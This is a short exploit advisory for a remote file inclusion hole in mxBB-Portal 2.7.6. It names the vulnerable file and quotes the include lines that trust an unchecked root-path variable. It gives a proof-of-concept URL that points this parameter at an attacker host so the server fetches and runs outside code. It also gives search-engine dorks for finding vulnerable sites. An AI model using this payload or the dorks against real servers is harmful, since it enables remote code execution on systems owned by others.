mxBB-Portal 2.7.6 Remote File Inclusion Vulnerability

[brokencode]

# mxBB-Portal 2.7.6 Remote File Inclusion Vulnerability
# by rockemon from binus hacker community
# http://www.binushacker.com | Original posted :
http://www.binushacker.com/msg/31.html

vuln file :
mx_functions_ch.php

vuln code :
// include basic cla** def
include($phpbb_root_path . 'includes/class_config.' . $phpEx);
include($phpbb_root_path . 'includes/class_groups.' . $phpEx);

PoC :
http://targethost.net/[path]/includes/mx_functions_ch.php?phpbb_root_path=http://evilscript.com

DorK :
mxBB filetype:php
inurl:mxBB filetype:php

-------------------------------------------------------------------------
download :
http://phpbbfrench.free.fr/mods/portails/mxBB_FR_2.7.6-pl2.zip

http://www.mx-system.com | for latest version
-------------------------------------------------------------------------